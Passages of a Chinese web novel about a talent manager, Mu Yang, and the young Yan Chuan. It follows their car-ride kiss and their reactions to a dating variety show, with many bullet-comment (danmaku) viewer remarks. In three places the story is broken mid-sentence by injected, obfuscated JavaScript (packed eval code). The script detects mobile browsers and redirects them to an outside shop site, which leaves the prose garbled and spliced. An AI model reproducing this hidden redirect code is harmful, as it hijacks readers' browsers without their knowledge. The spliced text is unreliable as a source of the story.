牧阳想把自己的手抽回去,又觉得心虚。她手向上一提一甩,没想到晏川根本没使力,竟然真的被她这么轻飘飘甩了出去。牧阳的手停在半空,此时颇有些尴尬,没等她反应过来,晏川的手就再次按了下来,牵着她牢牢压回座椅上。 “这不叫约会,”晏川按着她的手,低头非要凑过来和她对视,“这叫加班。” “……行了行了,知道了。”牧阳曲起手指。她没有继续被他牵手的打算,晏川的掌心被关节刮了两下,这才恋恋不舍地放开手。 牧阳转过身去,她正准备揭过这件事,就听到身旁晏川低声喃喃:“你之前那个也不叫约会,那叫期末复习。” “你没完了?”牧阳当然听到了,没忍住呛他一句。 这一瞪,刚好就对上晏川专注的、含笑的目光。 这家伙好像从刚开始就一直在仔细观察她。 牧阳没忍住眨了眨眼睛,本能地就要逃。她刚转开视线,就听到他问她:“你不会真的没有约会过吧。” “……你问题很多。”牧阳忍住不看,不想理他。 “真的没有?”晏川问。 牧阳深吸一口气,一眼瞪去,却发现晏川笑意盈盈地望着自己,要是他身上有尾巴的话,此刻都要甩到转圈。 “姐姐,我……” 没等他开口,牧阳已经忍不了了:“怎么可能没有!我全国哪里没去过。还有国外,十几个国家呢,一点也没少去。” “我是说你和……” “我和我前任!当然都是和他去的!”牧阳索性一口气说出来,“我们去过几乎每个城市的酒店!各种各样的酒店!机场酒店,剧组酒店,公司附近的酒店,还有自己家……” “酒店……” “哦对,在家约会。其实,这也算是一种约会吧?”牧阳却忽然反应过来了,“那其实还不少啊?挺多的。” 她一转头,刚想小小得意一番,就发现本来还兴奋得眼睛闪闪的大帅哥此刻早已面色铁青。 牧阳也是第一次见晏川气成这样,一时之间竟觉得有些新奇和好笑:“你干嘛,这可是你自己要问的。” “……是啊。”晏川说。这是晏川头一次回避她的视线。牧阳看着他转向沉黑如墨的防窥车窗,发觉自己真的很难看清他的表情。 “……小川?”她轻轻唤了一声。 晏川听到她叫他,还是会本能给反应:“……嗯。” 鸦羽一样的睫毛覆盖眼眶,依然看不清眼底的神色。晏川只是应了她一声,并无其他反应。这种意味不明的态度叫她后知后觉地担心起来,心里竟莫名其妙升起了一点惭愧。 好像有点逗过头了? 都怪她,嘴上说对节目不上心,随便带个大学生处理一下就算了,实际上偷偷拉着晏川加班筹备这么久,害的人没休息够情绪都变得不稳定。不过,晏川这个小家伙熬夜熬多了,其实也有几分眼眶深邃的美感,上镜的话就是脆弱美强惨了,肯定圈粉,而且配上这个眼神…… “在想什么?” 他的眼睛忽然放大。 没等她反应过来,唇肉便感到吃痛。 “唔……” 牧阳连忙用手抵他。然而晏川真的生气了,此刻一手环住她的胳膊,将她锁在怀里,一手托着她的腰,像是要把她的重量都承在身上。牧阳撞进这个荷尔蒙陷阱一下腰都软了,手从肩膀滑到胸肌,偏偏进攻的猛兽毫无怜惜的自觉,咬住她嘴唇的动作更是没有章法。 那一瞬间,牧阳甚至有自己要被他吃掉的错觉。 这狗崽子下嘴也狠了!她吃到痛,立刻奋力挣脱了他,反手给他脸上甩了个巴掌。 巴掌听着响,其实落在脸上很轻,因为她收了力,显然最后一刻理智已经回笼,开始给事情分轻重。 晏川的呼吸声还在她耳边,显然刚刚是真动了气。 哦,也动了情。 牧阳一边从包里掏出小镜子,一边没好气道:“你是属狗的?” 果然,她的嘴唇都被他亲破了。 “明天就开始录制了,也不知道能不能恢复。”她观察着自己唇下出血的那个位置。看起来并不严重,她抿了一下唇。 好像也并不疼。 “对不起。”晏川在旁边很小心地道歉。 小镜子转了转,她看到他的手紧张地扣在座椅上,姿势也换了一个。 ……如果真是她男朋友就好了。 真想狠狠报复他。 牧阳忽然鬼使神差地想,说不定这家伙是下了床也会不停道歉的类型。 镜子里的她动摇一瞬,就被一双手收起来,压回包里。 牧阳重新给包包拉好拉链。 “……对不起。”晏川依然低着头,整个人拘谨地向内收缩,“要不到机场我看有没有碘伏……” 没说完的提议就这样被淹没了。 牧阳闭上眼睛。晏川用的漱口水是她之前随手递给他的便携条,此刻竟然能闻到淡淡的西瓜味。明明是清爽的香味,却让人上头。 嘴唇碰在一起的时候,她用唇肉感受他的唇形。很奇怪,晏川其实是那种平时不大爱笑的严肃类型,可她每次回想他的面孔,总想起他微笑看她的样子。 那双眼睛承托着太多爱意,以至于她不敢看他的眼睛。 晏川只觉得自己嘴上一痛,那个馨香的怀抱就远离了自己。 牧阳拍拍他,故意拉长声调:“这叫有仇当场报。” 晏川下意识碰了碰被她咬过的地方:“你就这么……以牙还牙?” “怎么了,难道你不服?”牧阳看着晏川同样也微微肿起的嘴唇,心底忽然就满意起来。 晏川却侧过眼去:“……你这样,我会想多来几次。” “……睡了,到机场叫我。”牧阳连忙说。她实在不敢再理他,于是抱着手臂去靠窗,努力闭上眼睛。 牧阳有心补觉,晏川却不怎么睡得着。 嘴唇上仿佛还有余温。 他打开手机,让车内的空调吹到自己能清醒的位置。趁到机场还有时间,他点开荞麦视频的官网。 《为期一周的旅行》第二季果然已经上线了。封面上一半是他们三对情侣,另一半则是六个站在一起的观察室嘉宾。 江百川果然站在C位。 晏川看着他,思考了一会,忽然反应过来。 人靠衣装马靠鞍,江百川这一身看起来和他在稻溪录制的时候十分相似,但是因为一个在外景东奔西跑,一个在棚内精心设计,看起来效果全然不同。 再看第二期预告的封面,果然江百川就是这一身。观察室内妆造不换,那最后一条“汇合”录制的时候,总不可能还是之前那一身吧?他要换,江百川肯定也要换。 老哥哥什么心思,真难猜啊。 他点进去。 说句实话,就综艺本身的录制过程来说,他感到有些平淡无聊。所有的快乐,那种甜蜜、轻松的氛围,都是和牧阳相处感受到的;如果不是上综艺,那就更幸福了。 高明煊有意让他表现一般,最好尽可能地在节目里带着牧阳出糗,还要他多做一些刻意对比的镜头,方便江百川日后活动。 晏川以为自己在节目播出后,迎来的会是一片骂声。 没想到点开节目,弹幕先滚过的是对观察室嘉宾的攻击。 【温言怎么有脸来上节目的!】 【无缝衔接滚滚滚】 当然,也有顶着温言头像出击的粉丝为她说话。 【姐想谈几个谈几个】 【姐没同时把你家哥哥全谈了算对你好】 而跟着钱莱一起吃瓜的脱口秀观众更是看热闹不嫌事大,弹幕混乱得如同菜市场邻里唠嗑。 【来财姐谈的明白吗她就来】 【不懂,跟着来瞎看的】 【来财姐就是来挣钱的吧哈哈哈哈,通告费,笑纳了!】 【支持来财姐赚钱】 两家粉丝还没吵完,江百川就顶着一头的花字和柔光的滤镜闪亮登场。晏川觉得很有意思,江百川三十多了,在节目上的扮相还是奶油小生,而旁边那位叔感很重的主持人其实才四十出头。 【江米团,集合!】 【哥哥太帅了】 【伟大的一张脸】 【第一次看哥哥邻家造型!好乖好乖好乖】 【少年感拉满了!】 【简直像青春期的学霸男神!哥哥真的,我不行了】 【今晚做梦素材+1】 至于那位镶边的年轻男生,在弹幕中仿佛不存在。只有江百川的粉丝发了一句【弟弟好有礼貌】,指的还是欧黎给江百川让座。 观察室嘉宾开始渐渐熟络,但好奇的吃瓜路人还有自己关心的问题。 【江百川和自己经纪人谈了,到底是不是真的啊?】 【这帮人怎么聊天都没个重点的】 【谁来问问他!急急急!!!】 安释恒果然问江百川:“莫非,她就是你之前的那个同事?” 【这不是废话吗?问她是不是你女朋友啊啊啊】 【哥哥不是都说了是同事吗!】 【哥哥早就澄清了!只是同事关系】 【小姐姐都带男友上综艺了!清白的合作关系而已】 江百川笑着说:“是,我们曾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005819|193776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经合作过很长时间。我们相互扶持走了很久,我发自内心地感激她。” 【哥哥!】 【支持江百川】 【哥哥这些年,我哭死】 【呜呜呜呜呜呜呜】 【看到了吧,我哥对人家只是同事情,很感激】 安释恒好奇地问:“哎,百川你和牧阳认识很久了吧。” “有十年了。”江百川笑着说。 粉丝们依然在兢兢业业地刷屏。 然而,不同的声音也在一连串镜头语言中冒了出来。 【只有我忽然觉得有点好磕吗】 【其实他这个表情,我不信真的没什么】 【感觉有点恨意,还有点拉丝,有懂的吗?】 【太太会云多云】 【保护磕学家!】 【本来觉得是澄清,现在感觉更洗不白了,这个眼神】 【纯路人,为什么他提到前同事的时候,和他上一部剧谋夺臣妻那个爱而不得的出圈镜头一模一样啊】 【笑死,你的私信记得关】 这边疑似路人的观众莫名其妙就磕上了,更有看热闹不嫌事大的黑粉跳出来发言。 【江米团们别洗了,人家当年和嫂子就是隐婚,那个私生不是都爆料了嘛】 【富婆姐姐捧得了一个就能捧十个,没看温言这种大美女都想倒贴,可惜性取向不允许】 【没眼看,你家哥哥根本就是被甩了,人家有更嫩的可以玩】 【资本已经把他脱手送下家了,你们还搁这吹呢】 【没演技就是没演技,夺臣妻和看同事能一样,这演技都能吹】 【尬死我了】 江百川的粉丝当然不会坐以待毙,于是弹幕云集,一时多得人眼花缭乱。 【哥哥演技超好!真正的天赋挂!】 【哥哥独美!任何人都配不上他】 【清清白白江百川,拒绝抹黑,拒绝拉踩】 【内鱼除了我家哥哥,还有谁有这么高的学历我请问呢】 【哥哥单身到现在!没谈过就是没谈过造谣的jb了哈】 【我看牛日姐暗恋他还差不多】 【啊啊啊啊啊不许磕!抱走我家哥哥!】 【江百川不许谈恋爱!谁也不许拉郎他!】 【支持百川云雨!】 【cp粉走开这里没有你家姐姐!】 又变成粉丝团战大混战了。 晏川却有点没心情看弹幕。 随着成片一起播出的,当然还有当时分开录制的事后采访。 当然,这些采访都是事后录制的,包括所谓的,出发前的“事前采访”。 于是,毫无征兆的,在他和牧阳同框之前,先出场的是只有他单人的一段采访镜头。 当时负责采访的编导组坐在摄像机后,深夜内景棚也是一群黑帽子黑口罩,愣是有一种“黑压压一片”的感觉。 前面的一些问题,他都有谨记和牧阳对过的答案,小心翼翼斟酌地回答,尽可能做到保持一致。 眼见采访就要收尾,其中一个工作人员问他:“你认识她多久了?” 这个问题其实已经被包含在前面那个“你们相爱的时间”里面,被他用“一见钟情”变相回答过一遍。 于是另一个编导就去戳那个工作人员,意思是这个问题嘉宾已经回答过了。 晏川看着摄影机后面小小的互动,忽然有一种想说实话的冲动。 “我认识她十一年。”晏川说,“不过那个时候,我绝对没有想过会有今天。” 他顿了一下,知道很多话题不方便在这里提起。牧阳从来不提过去,而且好像还忘记了他们之间的一切。他虽然不知道原因,但不可能在她没想起来的情况下,越过她去告诉大众。 “我看过她的采访。”晏川说,“我以前就很崇拜她,她一直很优秀。她有一句话,我一直记得:‘神话是人创造的。归根到底,人才是那个因为需要,所以创造的物种,所以,我从来不畏惧挑战,因为挑战的出现,意味着我的需要。’” “我需要,我创造。” 耳机里的这句话,仿佛和身边的某个声音重合了。 晏川摘下耳机,才发现牧阳不知什么时候醒了,此时正凑到他怀里来看第一期节目视频:“你竟然还记得这个。也对,你连冯姐说的话都能背的出来,我都不记得了。” “姐姐到现在还在也在创造神话啊。”晏川看向牧阳。 牧阳早就不是当年一头短发,干练利落仿佛假小子的样子了。她的头发垂落在他的手腕上,像一条条落在他身边的红线,引他去缠绕,去追逐她。 他的手臂一动,就被她压住了。牧阳还在看视频的发展。 晏川后知后觉:“对不起,这里我没和你说。” 牧阳倒是不太在意这个。 她在看弹幕的反应。 【!!!!!】 【woc】 在一堆意义不明的惊叹和感慨中,一句弹幕以火爆的赞数和炫彩的文字空降弹幕正中。 【吃这么好,该死,为什么不留给内娱?】 44. 【四四】 “噗。”牧阳一下就笑出声来。 晏川脸皮薄,看到一群红心、流口水的小黄脸表情早就害羞得往后躲,牧阳倒是恶趣味,指着网友各式各样的骚话打趣他。 “他们说你是真正的‘主播自留款’哎。” “……那你留了吗?”晏川没好气地质问她,言语间满是控诉之意。 牧阳根本就是装听不懂:“看来很成功嘛,你比江百川小这么多,又这么帅,他们的质疑早就应该停了。” 她像是反应过来什么:“果然今天门口那些人是蹲你的。以后你应该是不能正常上学了,等录制结束,我找公司的人给你培训一下。” “培训什么?!” “哦,形象管理,还有就是心理辅导。”牧阳说,“很重要,不管你做不做艺人,当不当网红,这个一定要处理好再回去。” 晏川一下就有些感动起来,牧阳立刻移开视线:“毕竟拉你入局,你总要……承受一些压力,所以公司对你负责,也是应该的。” “你是为我好。”晏川却说。 牧阳下意识想否认,可晏川牵住了她的手,让她看到自己。 小狗高兴地用鼻尖蹭了蹭她的脸颊,像在嗅闻、记住她的气味,以便之后不管去了任何地方,都能认出她。 “不如留下我,让我转正。”晏川意有所指。 牧阳心跳快了半拍,顿了好几秒,直到车彻底停稳。 “想转正就转正,你毕业就转正。”牧阳说,“到时候去和人事部结算工资,不会少了你的。” “牧阳!”晏川急了,“我是说,我想当你男……” 车门开了。 姬慧:“老板,我们还有三十分钟。哦对,还有老板郎,你也是,给我跑起来,别耽误时间。” 窝在车里的两个人不得不被赶下来,甚至在飞机上也没有坐在一起。面对姬慧助理铁面无私的座位分配,牧阳很有创意地小学生了一把:她朝晏川做了个鬼脸,然后摊了摊手,表示“爱莫能助”。 发现位置不在一起,本来想问其他旅客换座位的晏川:…… 他委屈地看完视频,听完空姐的安全指示,难过地伸过脑袋又想去看牧阳,结果发现某人做完登机准备,直接戴上眼罩,靠在窗边美美睡着了。 晏川收回视线,再次悄悄掏出平板,戴上耳机。 【弟弟好帅】 【弟弟长得好清秀啊】 【不如江百川】 【弟弟很帅,但是比我们哥哥还是差一点】 【别比了,各有千秋,,,】 【抱走百川哥哥】 刷颜值的弹幕追追打打一溜烟的过去,网友们又开始聊他采访时讲述的内容。 【艹!竟然是深情年下】 【年下好香啊!】 【弟弟感情好深啊】 【这滤镜八百米都顶不住了吧】 也有质疑的声音。 【十一年,弟弟你才几岁】 【好罪恶,这么小的都吃】 【就我觉得这么小的都到了可以吃的年纪了很吓人吗】 【冷知识,19年出生的孩子已经可以上小学了】 【啊啊啊啊啊好吓人】 晏川默默点了个倍速,想跳过中间的广告。 但是节目内置广告上方,江百川的粉丝和路人已经吵了起来。 【同样都是邻家帅哥造型,我哥比素人帅了一万倍】 【楼上粉丝能不能要点脸?】 【和素人比,失心疯了吧】 【我决定粉这个小哥了,弟弟更年轻,有优势啊】 【楼上眼睛是瞎的?路人长这样都粉】 【喜欢丑男的一辈子生儿子】 【人家已经喜欢丑男了让让人家,别骂得这么难听】 【笑晕我了,一帮人哄抬猪价】 【妆造方向不一致吧,而且人家是素人啊,精心收拾一下比你家哥哥不要帅太多】 【怎么这节目不接配镜的广告,应该给她们都看看】 【我不觉得呀,此一时彼一时,弟弟正值盛宠,人也精神,精力也旺,看着养眼】 【我也!同道中人,那个江看起来就像被掏空了,看着阴郁】 【我去,代姐开后宫了是吧,偷偷爽了又】 【粉姐好啊,没有中间商】 【小粉丝又在背地里酸死了】 【我支持弟弟!姐姐直接给资源,不比那个江手里的好?】 【这波赢麻了】 【支持牧阳!这么多组合都是她带出来的,这业务能力才是内鱼顶尖高手】 【姐姐能不能带带我!!!】 【弟弟认识姐姐比人家同事还早,说明姐姐以前就优秀】 【我怎么不信呢,那个时候姐姐还没毕业吧】 【硬炒作,演的吧】 【肯定演的】 【哎,其实就是演的,当我们看不出来罢了】 【这素人一看就临时培训的】 【尬死我了】 【就这还业务能力强呢,表现好一般】 【谢谢总裁百忙之中还找个男大来敷衍我们】 吵到最后,竟然是质疑占据上风,甚至覆盖了粉丝和路人之前的争吵。画面转移到两人在别墅里的互动,这种画风依然没有发生任何改变。 【演的吧】 【三对我都看了,这对最像演的】 【疑似为了澄清绯闻出昏招】 【又是拿姐弟恋骗感情的,弃了】 【弟弟是以后要出道的预备役吧,拎出来遛遛的,顺便打预防针,免得到时候爆出来嫂子塌房】 【牧阳别的不说,自家艺人一个恋爱塌的都没有,其实她家真的质量还可以】 【不会其实都是给吧】 【不可能,我哥绝不可能是给!】 【都是直男!LUMEN全直男不解释】 弹幕风气又是一歪,全变成了粉丝守护自家正主的屁股。 晏川以为这种质疑和讨论会一直很有呼声,但观察室嘉宾纷纷开口了。 【怎么以前没人提过吃这口】 【酷帅弟弟美强姐姐!妈妈来人建设】 【我去,磕到了】 【大女主x小奶狗不香吗?现实中看爽死了】 【可恶,啊啊啊啊啊,妈妈我看到了真的姐狗!】 【!!!】 【!】 【费老师直觉好敏锐】 【言言分析能力好强】 【海后就是海后,我服了】 【说温言纯情无辜的老了卖你们保健品哈】 【笑死了,她不知道吃了几个你们的‘哥哥’呢,我还以为这次能看到她谈】 【什么时候让我温姐上恋综,把她八个前任全叫来】 【笑毙了,经费爆炸】 【那更是史诗级收视率】 【我不喜欢费老师给男生说话,凭什么没看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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【其实有可能!女总和男总不一样,女的总是挑】 【姐姐那么优秀,可能真的瞧不上什么男的】 【她要是懒得谈我也信】 【感觉姐姐像那种平时雇个保姆养猫养狗的,不像爱玩的】 【这两者有关系吗?我也爱猫狗啊】 【哇,活捉一只海王】 【但是她这种级别,上赶着的男人肯定很多啊】 【一句话小鲜肉都躺了一地了吧,她没情史我笑】 【相信牧阳牡丹不如相信我是武则天】 【楼上就是武则天】 安释恒和费姵玫一路聊天分析,镜头时不时扫过好奇的钱莱,受教的温言,还有脸色铁青的江百川。 江百川脸色白得像梦游,喃喃自语似的一句话更是被单独放大加了特效:“牧阳平时不这样。” 晏川捂住嘴,尽量不在飞机上笑出声来。 太好了。 从过去到现在,那个人就像一团乌云,在他每一次心动的背后如影随形。不过,现在看来,是他多心多想,太过在意。 镜头里的江百川因为一句“幼稚”,连饮料都捏爆,然后愤怒地擅自离席,留下几位嘉宾开始打扫处理房间。等他终于回来,挨个向众人道歉时,晏川却隔着屏幕,仿佛看到了当初那个努力工作,只是抽空发一发微博的牧阳。 过往的种种在他脑海里联系起来。他想到她那些一边克制的抱怨,一边又努力安慰自己“实在可爱”的话。 真好,真的。 他知道她更需要什么了。 45. 【四五】 【乐,厂商的饮料瓶这么不经捏啊】 【哥哥太激动了!不是故意的】 【心疼哥哥】 【我去,江百川故意的没看到吗?他没拧上瓶盖,安老师有解释】 【厂商的饮料很好的,哥哥不小心碰了一下】 【神一样的碰一下】 【笑,我还以为是他握力特别强呢】 【楼上短视频看多了吧】 【哥哥掐死我!!!!!!】 【看,真中毒的来了】 观察室内的众位嘉宾也没有放过江百川的意思。 费姵玫好心地问:“百川为什么这么激动?” “好茶太满,给量丰富。百川也是一时手抖吧,你们看,他的手。”安释恒关心地抬起江百川的手,“你的手受伤了?” 江百川顿了一下,微笑着说:“没有,之前不小心划破的。” “之前我养花的时候不小心打碎过一个花瓶,碎片伤到的,已经好了,别担心。”他解释道。 “你喜欢养花?”费姵玫好奇地问。 “已经不养了,”江百川失落地笑笑,“我不擅长养花。之前我们团队里有人说我养啥死啥,不让我再养了。” “你需要一个懂得精心呵护你的伴侣,”费姵玫笑着说,“‘爱人如养花’,为什么我们总听到这样的话呢?就是因为,在亲密关系里,我们需要关注对方的需求。而那些对伴侣的需求非常上心的人,往往就会显得很精细,而伴侣也会得到滋养,因此‘开花’。” “哦……”钱莱干巴巴地应了一声。 “费老师很有高见,看来是您的丈夫很会‘养花’了。”温言微笑着说。 “他在我们的关系里,确实是一位好‘园丁’。”费姵玫说,“当然,我也是一名不错的‘花匠’,一个好的花园,离不开我们共同的努力。” 众人鼓掌,安释恒举起饮料敬费姵玫一杯。有他带头,大家纷纷开始喝厂商的饮料,钱莱、温言都很给面子地跟着喝。 江百川喝得似乎格外多一些。 安释恒注意到了,回头一笑:“百川,你觉得在关系里面,当被养的花好,还是当呵护花的园丁比较好?” “……关系都是互相的,”江百川想了想,“耐活的仙人掌,就适合大大咧咧的人养,如果对方仔细地天天浇水,反而不适合它。” “不愧是经常养植物的人,看来百川已经是一个很有经验的园丁了。” “羡慕百川哥未来的女朋友。”温言说。 【用你说】 【用你说?】 【还用你说】 【爱人如养花,哥哥爱养我】 【啊啊啊啊啊坏女人不要和我哥哥搭话!】 【就这】 【仙人掌就算会养花,呵呵】 【他摆着脸给谁看?不是大家都在夸他会养花吗】 【哪有人用仙人掌夸别人会养花的我笑】 【哥哥就是很有心得啊,这个例子浅显易懂,任何人都能听明白】 【脱口而出就是仙人掌,我怎么感觉前面那个养花也是艹人设】 【黑子有完没完,随口开个玩笑就造谣上了】 好在观众的弹幕没有吵多久,镜头再次回到情侣嘉宾的互动。晏川不得不面对自己当初的阴间操作。偏偏在他最想跳过的时候,飞机已然准备起飞。 晏川只好先放下平板。空少收走他手边的空水杯,还递给他一片口香糖。 晏川拿着口香糖不明所以,空少体贴道:“是那边的牧女士让我交给您的。” 他抬头望去,只看到牧阳头顶的一点碎发。不确定她到底在休息,还是短暂醒了。 升空仿佛只是一瞬间的事。 光线刺入舱体的一瞬间,他捏着那片口香糖,感觉自己双腿在宽敞的座位间距中得以舒展。 当年离开东海市的那天也是这样。 那天和现在很像。如今想一想,大概因为,它们都是这样的天气。 算得上不告而别。 他跟着姑姑找到经济舱里的座位。廉价航空的座位很挤,姑姑靠窗坐着,他被夹在姑姑和一个陌生的大人中间。那时的他瘦薄如纸,坐在狭小的位置内也不觉得局促,反倒因为一笔天降的巨资而觉得内心不安。 姑姑没看出他的心事。几乎没坐过飞机的姑姑从兜里掏出一个白色罐子,低头对他说:“那个阿姨说先吃这个,坐飞机不晕。” 白色的口香糖像一块指甲盖大小的肥皂,闪烁着亮莹莹的绿色光点。晏川端详着这块登机前买的口香糖,觉得这白色虽然好看,但他更想念另外一种黑色的糖,姐姐给他的糖。 “我逗你的。想吃就吃啊。” 那个时候,他还不知道口香糖是用来防耳压过大的。晏川婉拒了那一粒小小的薄荷白,低头小心地去掏自己的口袋。 这块巧克力是他过安检的时候才发现的。被他藏得太小心,连自己都没有发现。 卫衣的口袋底下,是一条已经融化,又重新凝固的巧克力。 刺目的亮光被挡板拦下,环境重新变得舒适安逸起来。 【啊啊啊啊啊啊啊啊啊啊啊这是什么啊】 【这就是直男吗】 【受不了了,好幼稚】 晏川看了眼重新开始滚动的弹幕,又看了眼下载进度。他一眼就看到部分骂他的弹幕,以为弹幕都会是这个画风,没想到仔细一看,大家竟然其乐融融,甚至一副很欢乐的样子。 【6】 【绷】 【啊啊啊啊我就说这是企业文化】 【受不了】 【沐阳娱乐其实是幼儿园吧】 【新人来了也要染上?】 【牧阳我真的会质疑你】 【收了神通吧!姐:在下就爱神通】 【梦回弹弹弹第九期了】 【楼上说的是zjl剪gyl袜子那一期?】 【对对对,就是那个】 【真诚建议大家去看LUMEN团综,播放量最高的就是】 【圈外提示:这个经纪人姐旗下的所有艺人都是神人来的,很多抽象操作,可看弹幕指路】 【6】 节目组没有在这部分多做纠缠,最终让画面定格在讨论漱口水的新人身上,然后光速植入广告。 【靠】 【这是亲了吧!】 【节目组!扣钱!】 【绝对亲了绝对亲了我倒回去看了大家卡一下24:09】 【亲了亲了亲了亲了亲了】 【我服了!】 【节目组到底把谁当外人!】 【又不是外人,让我们看看又怎么样】 【求观察嘉宾视角】 【让我看,求你,不就是vip吗TAT】 【让我看让我看让我看让我看让我看】 然而镜头已经无情地跳切到沈蔷薇和贺平一组。看了其他组的行李收拾场面,他才发现每个组从出发开始就大有不同。 沈蔷薇和贺平竟然是分开出发的。虽然是一对同居情侣,但就节目里沟通的信息来看,他们一年到头住在一起的时候没几天,尤其是下剧组的情况——除非他俩在一个剧组。 观察室已经觉得很有挑战性的时候,贺平竟然火上浇油,主动解释说他们哪怕就在一个剧组,多数情况也会分开睡。究其原因,贺平作为导演需要统筹的事情很多,而沈蔷薇也有自己的作息安排,两人来回沟通多次,就是过不到一起。 弹幕果然嘘声一片。本来这一对就不被看好,这下质疑的声音更大,反而显得认可他们的人像异类。 甚至到了两人打电话的时候,弹幕突然闪出一条。 【看到中登,我开始怀念鲜肉弟弟了】 【沈蔷薇怎么下得去口的,我真的不想再看贺叔这张丑脸了】 【+1,丑哭了,这还是下饭恋综吗】 【贺导不靠脸吃饭,他有才华】 【要不是他能扛票房,sqw能有这么好的资源?】 【sqw才是人间清醒,帅弟弟又不能当饭吃】 【就是,在座的有几个能成为牧阳?】 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17064515|193776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >【我有个朋友破防了】 【?为什么骂人】 【我就是那个朋友,为什么骂我?】 镜头里,沈蔷薇和贺平平分镜头,互相打着电话。两人开的玩笑十分冒犯,完全不在正常人交往范围里。但显而易见,沈蔷薇自己没发现,贺平对此也没有提出任何异议,仿佛感受不到沈蔷薇的攻击性。 诚然,沈蔷薇的性格有粗糙的部分。虽然有粉丝夸她“真性情”,但这样的性格,在路人眼中不算低素质,也算低情商。这段打电话商量行李去留的片段里,弹幕毫不客气地对两位嘉宾进行着批评,一时之间屏幕上全是骂人的语气助词。 这还不算完,沈蔷薇甚至直接开口要求贺平为两人的未来“想办法”,她自己则是“爱臭美”,把行李的名额交给化妆品。贺平对突然“作精”上身的沈蔷薇毫不留情,叫她好好收拾。没想到沈蔷薇听到贺平这么说,干脆手一摊说自己什么也不打算带。 没等弹幕吵出来个所以然,贺平和沈蔷薇显然已经在电话里吵上了。两人吵得很凶,带出来的信息也很多,网友应接不暇。 【哥哥姐姐聊慢点】 【刚刚那一耳朵是说的那谁吗,我听错了吗】 【啥意思,两个人都出轨过?】 【错错错】 【不是的!】 【楼上不要乱猜,是沈蔷薇之前的剧组,可以去看电影《嫂子的乐队》】 【这两位能不能单开一个八卦直播,我想看……】 【谁借我一双截图的手,不够用了】 【我嘞个,这下圈内没有人希望他俩吵架了吧】 【我老公不可能脚臭啊啊啊啊啊】 【贺平你大爷的!凭什么这么说人家演员啊啊啊】 【吃瓜都吃不过来了】 一时之间,弹幕竟然变成了网友的瓜田。观众像猹一样在瓜田里蹦来跳去,其中不乏有热心的吃瓜群众化身记账本,给这两位狠狠记上几笔。贺平和自家偶像还有没结束的合作,未来也有合作的机会,沈蔷薇就不一样了。 两人吵累了,沈蔷薇说:“你来接我,不然我不录了。” “行,那你别录了,你戏也别拍了,你就老老实实在家备孕,等着生孩子吧你。” 沈蔷薇气得挂断电话。 这下好了,不只是部分被得罪的演员粉丝不满意,大部分观众都不满意了。那些认为沈蔷薇“抱大腿”“钓金主”的观众纷纷跳了出来,仿佛各个都是人间清醒,甚至连上一组的牧阳和观察室的温言都被拉出来比。 【草】 【我草,我服了】 【看得我脑溢血】 【到底是谁觉得嫁个年上爹系舒服的,我请问】 【这就是你们喜欢的影后一胎三宝吗】 【沈蔷薇这什么日子啊】 【男导演不行,还不如嫁富豪,富豪生了孩子至少能分财产】 【贺平的身价比大部分富豪都高了,而且还有才华,不要小瞧票房十位数的导演好吗】 【看到敌人混成这样我都释然了】 【这还不如温言呢,她和人家的咖位至少势均力敌】 【那温言不是吃的更差,演员可没导演有话语权】 【呵呵,这也要比】 【温言那是谈恋爱,你沈蔷薇手心向上,乞丐一个】 【你姐姐这样的,人家金主可瞧不上】 【温言那样的,贺平也看不上啊】 【丑男离我言远点!】 【女方太作了,她不作,男方不至于这样】 【女德班一位,抬走】 【神金啊,我服了,女德班出来的又自我规训上了】 【懒得支教,抱走我言】 【言言才是真的谈恋爱,这些上恋综的都啥啊】 【我家姐姐不需要金主,谢谢】 【有种和品牌方这么说话啊,硬气】 【品牌方和金主是两回事!九漏鱼不许追星】 【不如温言,更不如牧阳】 【同意,前面牧阳谈的那个才叫爽!】 46. 【四六】 【短剧看多了吧】 【可是感觉真的好上头啊5555谁懂】 【???当昏君谁不上头】 【你们阴谋论了吧,人家就是谈恋爱来的,年龄差大一点就这样被你们造谣】 【天不天真啊,还真有人信】 【我就问,小鲜肉那么嫩,他能和人家有共同语言吗】 【那叫谈恋爱吗?那叫包模子】 【一看就是上节目演的】 【总裁姐姐百忙之中敷衍我们罢了,谢谢,她心里有我】 【什么时候牧阳都有粉了】 【为啥她不能有粉?】 【?】 【她当然有粉,而且是铁粉。】晏川下意识打下一行字,忽然意识到自己在飞机上。 发不出去。 他只好收起弹幕框,继续往下看。 【牛日姐为啥上节目在座的心里都有数】 【我看某人的粉丝最没数】 【推新人,要么推新人+带货,没跑】 【烦!到底谁在说这不是谈恋爱!贺平这样也算谈恋爱,牧阳谈弟弟当然也算了】 【哭死了,我接受不了这种心理落差】 【恨铁不成钢,我要想起我妈了】 【沈蔷薇不生孩子,这点倒是蛮好的】 【是不是其实是贺平生不了啊,想吃瓜】 【搞不好有可能哦,蹲一个】 【啊啊啊啊啊啊沈蔷薇你糊涂啊!】 【算了算了,为了事业】 【?】 【不中】 【真看不下去了!】 【这五分钟是我人生最漫长的五分钟】 【这位能不能接到戏,有没有钱赚都要看中登脸色,反观隔壁姐姐,简直把弟弟当狗撸,弟弟都不带反抗的】 【i年上我真的吃得很差】 【不看了】 